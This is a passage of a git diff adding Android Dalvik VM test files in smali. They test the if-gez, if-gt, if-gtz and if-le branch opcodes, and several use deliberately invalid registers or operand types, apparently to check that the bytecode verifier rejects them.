index 0000000..cd6db2a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali

@@ -0,0 +1,23 @@
+.source "T_if_gez_2.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali
new file mode 100644
index 0000000..e2e5210
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali

@@ -0,0 +1,23 @@
+.source "T_if_gez_3.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali
new file mode 100644
index 0000000..8d3a9c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_gez_4.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-gez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali
new file mode 100644
index 0000000..ed6eb70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_gez_5.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-gez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali
new file mode 100644
index 0000000..ce9cfbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali

@@ -0,0 +1,23 @@
+.source "T_if_gez_6.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali
new file mode 100644
index 0000000..61c13b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gez_7.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali
new file mode 100644
index 0000000..3de8061
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali

@@ -0,0 +1,23 @@
+.source "T_if_gez_8.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali
new file mode 100644
index 0000000..c37add8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali

@@ -0,0 +1,24 @@
+.source "T_if_gez_9.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali
new file mode 100644
index 0000000..be54bb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_gt_1.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali
new file mode 100644
index 0000000..6b04c32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali

@@ -0,0 +1,24 @@
+.source "T_if_gt_10.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/4 v6, 0
+       return v6
+
+:Label11
+       const v6, 0
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali
new file mode 100644
index 0000000..c8ea86f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_11.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali
new file mode 100644
index 0000000..3139427
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_2.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali
new file mode 100644
index 0000000..acd03b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali

@@ -0,0 +1,23 @@
+.source "T_if_gt_3.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali
new file mode 100644
index 0000000..2a6c05c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_gt_4.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v7, v8, :Label11
+       const/16 v7, 1234
+       return v7
+
+:Label11
+       const/4 v7, 1
+       return v7
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali
new file mode 100644
index 0000000..8d7bd9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_gt_5.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-gt v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali
new file mode 100644
index 0000000..5167b5a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali

@@ -0,0 +1,23 @@
+.source "T_if_gt_6.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-gt v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali
new file mode 100644
index 0000000..4bd5418
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali

@@ -0,0 +1,23 @@
+.source "T_if_gt_7.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali
new file mode 100644
index 0000000..6f8a4b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_8.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v6, v0, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali
new file mode 100644
index 0000000..c50aad0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali

@@ -0,0 +1,23 @@
+.source "T_if_gt_9.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/4 v6, 0
+       return v6
+
+:Label11
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali
new file mode 100644
index 0000000..e0dce24
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_gtz_1.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali
new file mode 100644
index 0000000..107d86e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali

@@ -0,0 +1,24 @@
+.source "T_if_gtz_10.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       nop
+       const v0, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali
new file mode 100644
index 0000000..9d261eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali

@@ -0,0 +1,23 @@
+.source "T_if_gtz_2.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali
new file mode 100644
index 0000000..76949fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali

@@ -0,0 +1,23 @@
+.source "T_if_gtz_3.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali
new file mode 100644
index 0000000..7bdbfb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_gtz_4.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-gtz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali
new file mode 100644
index 0000000..8fdd199
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_gtz_5.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-gtz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali
new file mode 100644
index 0000000..1fbaafa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali

@@ -0,0 +1,23 @@
+.source "T_if_gtz_6.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali
new file mode 100644
index 0000000..929e290
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gtz_7.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali
new file mode 100644
index 0000000..2b40be0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali

@@ -0,0 +1,24 @@
+.source "T_if_gtz_8.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       nop
+       const/4 v0, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali
new file mode 100644
index 0000000..4ad1624
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali

@@ -0,0 +1,23 @@
+.source "T_if_gtz_9.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       const v0, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali
new file mode 100644
index 0000000..0a4f8c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_le_1.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali
new file mode 100644
index 0000000..dd63e70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali

@@ -0,0 +1,24 @@
+.source "T_if_le_10.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-le v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali
new file mode 100644
index 0000000..25da018
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali

@@ -0,0 +1,23 @@
+.source "T_if_le_11.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali
new file mode 100644
index 0000000..5aa7fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali

@@ -0,0 +1,23 @@
+.source "T_if_le_12.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali
new file mode 100644
index 0000000..8a21737
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
